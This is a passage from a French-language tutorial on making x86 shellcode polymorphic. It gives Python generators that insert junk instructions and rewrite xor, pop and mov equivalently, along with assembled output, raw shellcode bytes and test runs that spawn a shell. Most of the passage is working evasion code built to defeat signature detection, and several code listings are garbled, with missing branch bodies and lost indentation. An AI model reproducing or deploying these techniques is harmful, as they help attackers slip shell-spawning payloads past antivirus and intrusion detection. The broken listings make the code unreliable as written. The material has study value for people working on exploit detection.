II°) Décodeur polymorphique
Ajouts d'opérations neutres
En premier lieu, afin d'obscurcir le code de notre décodeur, il est possible d'ajouter des
instructions qui ne changent rien à la sémantique réelle du code. Pour mon exemple, j'ai retenu les instructions
suivantes :
- nop : nous l'avons déjà vu, cette instruction (no operation) est une instruction neutre, nécessaire afin d'aligner
et de temporiser.
- push reg, pop reg : là encore, puisque nous n'utilisons pas le haut de la pile, ajouter un registre sur la pile et
remettre son contenu dans le registre ne modifiera en rien notre programme.
- inc reg, dec reg : incrémenter et décrémenter un registre ne changera pas sa valeur.
- push reg1, mov reg1 <- reg2, push reg1, pop reg2, pop reg1 : de manière un peu plus cachée, on sauvegarde reg1 sur la pile,
on mets le contenu de reg2 dans reg1, on mets reg1 sur la pile, on retourne la haut de la pile dans reg2, puis on restaure la
valeur sauvegardée initialement dans reg1.
- inc ureg : il peut y avoir des registres que l'on n'utilise pas (ce qui est le cas dans notre shellcode avec edi et edx). Nous
sommes donc libre d'y effectuer n'importe quelle opération, comme l'incrémentation ici.
- mov ureg <- nombre : de la même façon, on peut mettre n'importe quel nombre ne contenant pas de bytes nuls dans un registre
inutilisé.
Bien sûr, les combinaisons sont infinies. Ceci dit, il faut tout de même prendre garde à l'utilisation de la pile. Par exemple, ici
nous sommes partis du principe que le haut de la pile nous était égal, ce qui n'est pas toujours le cas, car notre shellcode peut
s'y trouver. En termes d'implémentation, on peut imaginer un programme simple rajoutant au hasard ce type d'instructions :
#!/usr/bin/python
import random
NOP_PERCENT=50
registers=["eax","ebx","ecx","edx","esi","edi"]
unused_registers=[]
asm_lines=[]
def get_unused_registers():
global unused_registers
unused_registers.extend(registers)
for line in asm_lines:
for reg in unused_registers:
if re.search(reg,line) != None:
unused_registers.remove(reg)
def get_nop():
nb_choice=3
if len(unused_registers) > 0:
choice=random.randint(0,nb_choice)
if choice == 0: # NOP
elif choice == 1: # push reg, pop reg
register = random.randint(0,5)
return "push " + registers[register] + "\npop " + registers[register]
elif choice == 2: # inc reg, dec reg
register = random.randint(0,5)
return "inc " + registers[register] + "\ndec " + registers[register]
elif choice == 3: # push reg1, mov reg1 <- reg2, push reg1, pop reg2, pop reg1
register = random.randint(0,5)
while 1:
register2 = random.randint(0,5)
if register != register2:
return "push " + registers[register] + "\nmov " + registers[register] + "," + registers[register2] +
"\npush " + registers[register] + "\npop " + registers[register2] + "\npop " + registers[register]
elif choice == 4: # inc unused_reg
register = random.randint(0,len(unused_registers)-1)
return "inc " + unused_registers[register]
elif choice == 5: # mov unused_reg, junk nb
register = random.randint(0,len(unused_registers)-1)
junk=(random.randint(1,255) << 24 ) + (random.randint(1,255) << 16) + (random.randint(1,255) << 8)
+ random.randint(1,255)
return "mov " + unused_registers[register] + "," + str(junk)
def transform():
nomore=True
for line in asm_lines:
if line.strip(" ") == "sc:": # Ensure no changes are made at the end
if nomore == False and line.find("jne") == -1:
nop=random.randint(0,100)
if nop <= NOP_PERCENT: # Do we add a junk instruction ?
print line # And finally print the line
if line.strip(" ") == "BITS 32":
def main():
import sys
global asm_lines
if len(sys.argv) != 2:
print >> sys.stderr, "Usage: %s <path_to_asm_file>"% (sys.argv[0])
sys.exit(1)
f = open(sys.argv[1],"r")
asm_lines=f.readlines()
f.close()
get_unused_registers() # Get (approximatively) which registers are in use and which ones aren't
random.seed() # Seed the random generator with current epoch
transform() # Transforme the instructions without changing the semantics
if __name__ == "__main__":
On remarquera tout de même dans la fonction transform() que nous avons pris soin de ne pas écrire avant le "BITS 32", ni après le
label "sc:" pour ne pas modifier le pointeur retournée vers le shellcode, ni avant le "jne" pour ne pas ajouter d'instructions
qui modifient les valeurs des flags permettant de connaitre le résultat du cmp. Il y aura environ une séquence d'instructions inutiles pour
deux lignes utiles (ce qui fait in fine beaucoup mais n'est pas grave pour les besoins de cette démonstration). Un coup
d'oeil rapide au type de code généré :
$ ./transform_shellcode.py unxor_shellcode.asm
BITS 32
push edi
pop edi
jmp short sc
push ecx
pop ecx
inc edi
retour:
pop esi
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov bl,46
mov al,159
mov edi,590357073
boucle:
mov edx,729692240
xor [esi+ecx],eax
inc ecx
inc ebx
dec ebx
cmp ebx,ecx
jne boucle
push esi
pop esi
jmp esi
inc esi
dec esi
sc:
call retour
shellcode db 0xae,0x5f,0x2f,0xd9,0xae,0x44,0xae,0x56,0x52,0x1f,0x74,0x89,0xc4,0xae,0x5f,
0x17,0xdc,0x98,0x16,0xc4,0x97,0x16,0xdc,0x93,0x2f,0x94,0x12,0xd4,0x97,0x12,0xcc,0x93,0x52,
0x1f,0x77,0x7a,0x60,0x60,0x60,0xb0,0xfd,0xf6,0xf1,0xb0,0xec,0xf7
On peut désormais comparer le code assemblé avec l'assemblage non-obscurci :
Bytecode original
\xeb\x15\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x9f\x31\x04\x0e\x41\x39\xcb\x75
\xf8\xff\xe6\xe8\xe6\xff\xff\xff\xae\x5f\x2f\xd9\xae\x44\xae\x56\x52\x1f\x74\x89
\xc4\xae\x5f\x17\xdc\x98\x16\xc4\x97\x16\xdc\x93\x2f\x94\x12\xd4\x97\x12\xcc\x93
\x52\x1f\x77\x7a\x60\x60\x60\xb0\xfd\xf6\xf1\xb0\xec\xf7
Après transformation
\x57\x5f\xeb\x28\x51\x59\x47\x5e\x31\xc0\x31\xdb\x31\xc9\xb3\x2e\xb0\x9f\xbf\x51
\x22\x30\x23\xba\x50\x38\x7e\x2b\x31\x04\x0e\x41\x43\x4b\x39\xcb\x75\xf1\x56\x5e
\xff\xe6\x46\x4e\xe8\xd6\xff\xff\xff\xae\x5f\x2f\xd9\xae\x44\xae\x56\x52\x1f\x74
\x89\xc4\xae\x5f\x17\xdc\x98\x16\xc4\x97\x16\xdc\x93\x2f\x94\x12\xd4\x97\x12\xcc
\x93\x52\x1f\x77\x7a\x60\x60\x60\xb0\xfd\xf6\xf1\xb0\xec\xf7
On se rend donc bien compte de la dispersion des opcodes pouvant faire office de signature et même de la modification de certains d'entre eux
(opcodes soulignés, grâce à la modification des référentiels pour les jmp notamment).
Transformation des instructions
Toujours dans l'optique de rendre plus difficile la génération de signatures, il est possible de modifier les instructions utiles
de manière à ce que la sémantique demeure tout de même inchangée. C'est là toute l'essence du polymorphisme d'ailleurs. Etant donné la taille des jeux
d'instructions actuels, cet univers est encore plus hautement infini et peut parfois être complexe. Nous avons décidé de
remplacer trois types d'instructions que nous utilisons dans notre shellcode :
- xor reg,reg : en effet, il y a de multiples manières de placer un registre à 0 sans pour autant ajouter de bytes nuls. Nous avons
par exemple utilisé ici le Et binaire : reg = (reg & 0x01010101) & 0x02020202).
En effet, 0x01010101 & 0x02020202 = 0, donc l'intersection des deux opérations AND sera nulle et le registre aussi.
Une autre manière plus trivial : sub reg, reg qui soustrait au registre sa propre valeur.
- pop reg : une instruction pop n'est autre que le placement dans un registre de la valeur courante du haut de la pile suivit d'un ajout de
4 au registre ESP (afin de faire diminuer la pile de 4 octets), soit mov reg, [esp] - add esp,0x01010105 - sub esp,0x01010101 par exemple
(les deux dernières instructions sont un add esp,4 en évitant les 0). On peut également se servir d'un registre inutilisé, en faisant le pop
dans cet autre registre, puis en remetant à 0 le registre original, et enfin en additionnant au registre original le registre inutilisé.
- mov reg, value : ici, nous avons adressé les instructions qui affectent une valeur à un registre de 8 bits (al, bl, cl, dl). On peut imaginer
beaucoup de manière, parmi lesquelles le fait de placer une autre valeur puis d'incrémenter/décrémenter jusqu'à ce que le registre contienne
la valeur espérée, ou encore une suite d'opération plus compliquée utilisant un registre inutilisé (on place la valeur originale du registre 32-bits correspondant au registre ciblé sur la pile, on pop cette valeur dans le registre inutilisé, on mets par deux instructions AND le premier bit à 0, on y ajouter 0x01010101 + valeur - 1, on push le registre inutilisé, on le pop dans le registre ciblé, on y soustrait 0x01010101 puis on incrémente de 1, pour illustrer que nous pouvons faire des suites d'instructions aussi tordues que désiré).
Nous pouvons donc implémenter ces substitutions de manière aléatoire dans le programme précédent :
x01010101=16843009
x02020202=33686018
def get_mov(val1,val2):
if random.randint(0,1) == 1 and val1 in set(["al","bl","cl","dl"]):
if val2 not in set(["al","bl","cl","dl"]): # val2 is an integer
num=0
if val2[-1] == "h" or val2[0:2] == "0x" : # hexadecimal value
if val2[-1] == "h":
else:
else: # normal value
if num == 1:
return "mov " + val1 + ", 2\ndec " + val1
if num == 2:
return "mov " + val1 + ", 1h\ninc " + val1
else:
if len(unused_registers) == 0:
return "mov " + val1 + ", " + str(num - 2) + "\ninc e" + val1[0] + "x\ninc e" + val1[0] + "x"
else:
reg=unused_registers[random.randint(0,len(unused_registers)-1)]
return "push e" + val1[0] + "x\npop " + reg + "\nand " + reg + ", 0xffffff01\nand " + reg + ", 0xffffff02\nadd " + reg + ", " + str(x01010101 + num - 2) + "\ninc " + reg + "\npush " + reg + "\npop e" + val1[0] + "x\nsub e" + val1[0] + "x, " + str(x01010101) + "\ninc e" + val1[0] + "x"
return "mov " + val1 + ", " + val2
def get_xor(val1,val2):
if random.randint(0,1) == 1:
if val1 == val2:
if random.randint(0,1) == 1:
return "and " + val1 + ", " + str(x01010101) + "\nand " + val2 + ", " + str(x02020202)
else:
return "sub " + val1 + ", " + val1
return "xor " + val1 + ", " + val2
def get_pop(reg):
if random.randint(0,1) == 1:
if len(unused_registers) == 0:
return "mov " + reg + ", [esp]\nadd esp,0x01010105\nsub esp, " + str(x01010101)
else:
ureg=unused_registers[random.randint(0,len(unused_registers)-1)]
return "pop " + ureg + "\nxor " + reg + ", " + reg + "\nadd " + reg + ", " + ureg
return "pop " + reg
Avec le remplacement de ces instructions, nous avons donc un shellcode complètement polymorphique, par l'encryption de son
essence et par le métamorphisme de son décodeur. Afin de tester les bytecodes ainsi générés, nous avons automatisé la chaîne
de production et de test dans un petit script shell :
$ ./polymorphic_shellcode.sh shellcode
New shellcode:
\x47\xeb\x45\xbf\xad\x7e\x09\x59\x90\x5e\x31\xc0\x29\xdb\x41\x49\x31\xc9\x53\x5b
\xb3\x2e\x50\x5f\x81\xe7\x01\xff\xff\xff\x81\xe7\x02\xff\xff\xff\x81\xc7\xa6\x01
\x01\x01\x47\x57\x58\x2d\x01\x01\x01\x01\x40\xba\x1a\xd4\xc5\x08\x47\x31\x04\x0e
\x42\x41\x39\xcb\x75\xf7\x43\x4b\xff\xe6\x56\x5e\xe8\xbb\xff\xff\xff\x96\x67\x17
\xe1\x96\x7c\x96\x6e\x6a\x27\x4c\xb1\xfc\x96\x67\x2f\xe4\xa0\x2e\xfc\xaf\x2e\xe4
\xab\x17\xac\x2a\xec\xaf\x2a\xf4\xab\x6a\x27\x4f\x42\x58\x58\x58\x88\xc5\xce\xc9
\x88\xd4\xcf
Launching normal shellcode
Length: 46 bytes
sh-3.2$ exit
exit
Launching polymorphic shellcode
Length: 123 bytes
sh-3.2$ exit
exit
$ ./polymorphic_shellcode.sh shellcode
New shellcode:
\x52\x89\xda\x52\x5b\x5a\xba\x4b\x65\xed\xe7\xeb\x49\x53\x89\xd3\x53\x5a\x5b\x5e
\x29\xc0\x29\xdb\x57\x89\xdf\x57\x5b\x5f\x81\xe1\x01\x01\x01\x01\x81\xe1\x02\x02
\x02\x02\xb3\x2e\x47\x50\x5f\x81\xe7\x01\xff\xff\xff\x81\xe7\x02\xff\xff\xff\x81
\xc7\x5d\x01\x01\x01\x47\x57\x58\x2d\x01\x01\x01\x01\x40\x31\x04\x0e\x41\x39\xcb
\x75\xf8\x41\x49\xff\xe6\xe8\xb8\xff\xff\xff\x6f\x9e\xee\x18\x6f\x85\x6f\x97\x93
\xde\xb5\x48\x05\x6f\x9e\xd6\x1d\x59\xd7\x05\x56\xd7\x1d\x52\xee\x55\xd3\x15\x56
\xd3\x0d\x52\x93\xde\xb6\xbb\xa1\xa1\xa1\x71\x3c\x37\x30\x71\x2d\x36
Launching normal shellcode
Length: 46 bytes
sh-3.2$ exit
exit
Launching polymorphic shellcode
Length: 137 bytes
sh-3.2$ exit
exit
$ cat .polymorphic_shellcode.asm
BITS 32
push edx
mov edx,ebx
push edx
pop ebx
pop edx
mov edx,3891094859
jmp short sc
push ebx
mov ebx,edx
push ebx
pop edx
pop ebx
retour:
sub eax, eax
sub ebx, ebx
push edi
mov edi,ebx
push edi
pop ebx
pop edi
and ecx, 16843009
and ecx, 33686018
mov bl, 46
inc edi
push eax
pop edi
and edi, 0xffffff01
and edi, 0xffffff02
add edi, 16843101
inc edi
push edi
pop eax
sub eax, 16843009
inc eax
boucle:
xor [esi+ecx],eax
inc ecx
cmp ebx,ecx
jne boucle
inc ecx
dec ecx
jmp esi
sc:
call retour
shellcode db
0x6f,0x9e,0xee,0x18,0x6f,0x85,0x6f,0x97,0x93,0xde,0xb5,0x48,0x05,0x6f,0x9e,
0xd6,0x1d,0x59,0xd7,0x05,0x56,0xd7,0x1d,0x52,0xee,0x55,0xd3,0x15,0x56,0xd3,0x0d,0x52,0x93,0xde,
0xb6,0xbb,0xa1,0xa1,0xa1,0x71,0x3c,0x37,0x30,0x71,0x2d,0x36
Nous obtenons donc un shellcode de taille variable (de manière générale entre 100 et 160 bytes), qui est très différent d'une génération sur
l'autre, comme le montrent les deux essais effectuées, et quasiment impossible à analyser, même désassemblé. Le code original est en
rouge sur cet exemple est reste très éparpillé (d'autant que ce qui demeure est soit le code encrypté soit des portions que nous n'avons pas
traitré dans notre exemple). Bien sûr, des générations plus
fines permettent de contrôler la taille du shellcode généré et d'effectuer des obfuscations plus complètes (le mieux dans notre cas serait
tout de même de modifier la boucle principale et notamment le xor, d'autant que
a xor b peut se réécrire sous de multiples formes, comme
par exemple
(a&~b) | (~a&b)).
Maintenant que nous avons compris tous ces mécanismes, il n'y a pas de honte à utiliser des outils
qui permettent de générer automatique ce type de shellcode de bien meilleure manière, pour de multiples sémantiques
et de multiples plateformes, notamment
Metasploit.